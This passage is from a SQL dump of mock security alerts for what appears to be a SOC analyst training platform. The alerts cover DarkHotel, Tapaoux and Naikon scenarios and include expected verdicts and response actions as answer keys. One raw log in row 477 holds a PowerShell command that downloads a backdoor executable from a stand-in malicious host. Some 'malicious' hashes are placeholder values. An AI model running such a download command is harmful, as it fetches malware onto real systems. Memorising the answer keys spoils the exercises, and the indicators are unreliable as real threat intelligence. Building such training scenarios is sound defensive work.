group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known DarkHotel trojan.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"trojan_hotel.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Analysis Sandbox\",\"verdict\":\"malicious\",\"details\":\"Filename is commonly used in DarkHotel campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"guest_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Database\",\"verdict\":\"internal\",\"details\":\"Default username for hotel guests.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(472, 'Unsigned Software Update Detected', 'high', 'Endpoint security alerts', 'An advanced alert was triggered when a target device attempted to execute a software update lacking a valid signature. This indicates a potential execution of a malicious payload disguised as a legitimate software update.', 'Execution', 'T1204.002 - User Execution: Malicious File', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:27:49Z\",\"device_id\":\"WIN-192168011\",\"user\":\"jdoe\",\"filename\":\"update_v1.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_signature_status\":\"unsigned\",\"source_ip\":\"192.168.0.11\",\"destination_ip\":\"45.76.12.34\",\"process_id\":4528,\"execution_path\":\"C:\\\\Program Files\\\\Update\\\\update_v1.exe\",\"alert_message\":\"Unsigned software update executed on endpoint\",\"external_reputation\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 14/60 antivirus engines\"}}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.12.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Command and Control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 14/60 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"update_v1.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee active in the HR department.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(473, 'Tapaoux Malware Persistence Mechanism', 'high', 'File integrity monitoring', 'The Tapaoux malware employs advanced techniques to maintain persistence, ensuring continued access to the target device despite potential reboots or shutdowns.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:48:00Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"target_ip\":\"10.0.15.21\",\"user\":\"compromised_user\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\tapaoux.dll\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"Added to startup\",\"registry_key_modified\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\TapaouxService\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Tapaoux malware operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.21\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\tapaoux.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Tapaoux malware DLL used for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Tapaoux malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account suspected to be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(474, 'Unauthorized Credential Access Attempt', 'high', 'Authentication logs', 'DarkHotel APT group attempts to harvest credentials from a compromised device, aiming to move laterally and access additional systems within the network. The attack was detected through unusual login attempts from an external IP address using a compromised internal account.', 'Lateral Movement', 'T1078.001 - Valid Accounts: Default Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"event_id\":\"4625\",\"logon_type\":\"3\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"status\":\"FAILED\",\"failure_reason\":\"Unknown user name or bad password\",\"target_machine\":\"WIN-DC01\",\"hash\":\"e4d909c290d0fb1ca068ffaddf22cbd0\",\"filename\":\"darkhotel_tool.exe\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with DarkHotel APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual access patterns detected.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e4d909c290d0fb1ca068ffaddf22cbd0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Known hash for DarkHotel credential harvesting tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(475, 'Exfiltration of Sensitive Data', 'critical', 'Data loss prevention alerts', 'The final phase of the attack involves exfiltrating sensitive information from the executive\'s device to an external server controlled by DarkHotel, completing their malicious objectives.', 'Exfiltration', 'T1048.003 - Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45.123Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.0.25\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"8080\",\"protocol\":\"HTTP\",\"username\":\"jdoe_exec\",\"filename\":\"Executive_Report_Q3_2023.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_source\":\"DLP\",\"threat_actor\":\"DarkHotel\",\"external_server\":\"malicious-server.example.com\"}', '2026-01-05 03:04:49', '2026-02-16 18:20:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with DarkHotel APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Executive_Report_Q3_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document containing executive data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious files used by DarkHotel.\"}},{\"id\":\"artifact_5\",\"type\":\"domain\",\"value\":\"malicious-server.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_reputation\",\"verdict\":\"malicious\",\"details\":\"Domain known to be used by DarkHotel for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(476, 'Suspicious Email with Malicious RTF Attachment Detected', 'medium', 'Email Security Gateway', 'A spear-phishing email was detected targeting a regional government employee. The email contained a RoyalRoad RTF file, commonly used by Naikon APT to exploit vulnerabilities in Microsoft Word for initial access.', 'Phishing', 'T1566.001', 1, 'Closed', 1, '{\"timestamp\":\"2023-10-24T09:15:27Z\",\"email_id\":\"b7f9a85d-083f-4d6b-9c6f-f22a3fc1e9b1\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.2.15\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"employee@regionalgov.org\",\"subject\":\"Urgent: Review Attached Document\",\"attachment\":{\"filename\":\"important_document.rtf\",\"hash\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feeds\",\"verdict\":\"malicious\",\"details\":\"IP associated with Naikon APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of recipient.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain used by APT groups.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"employee@regionalgov.org\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate email of a regional government employee.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash associated with RoyalRoad exploit documents.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"important_document.rtf\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used in spear-phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email with Malicious RTF Attachment Detected\",\"date\":\"2026-02-01T20:32:19.085Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(477, 'Execution of Malicious Payload via RoyalRoad Exploit', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the RTF document, the RoyalRoad exploit triggers, executing a script that downloads the Aria-body backdoor onto the target\'s system.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'resolved', 34, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_id\":\"EDR-456789\",\"source_ip\":\"203.0.113.15\",\"destination_ip\":\"10.0.0.25\",\"user\":\"jdoe\",\"file_name\":\"malicious_document.rtf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_executed\":\"powershell.exe -Command Invoke-WebRequest -Uri http://malicious-site.com/aria-body.exe -OutFile C:\\\\Temp\\\\aria-body.exe\",\"malware_hash\":\"4a8a08f09d37b73795649038408b5f33\",\"action_taken\":\"Quarantine\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_document.rtf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"File involved in RoyalRoad exploit delivery.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to malicious RTF documents.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"4a8a08f09d37b73795649038408b5f33\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Aria-body malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
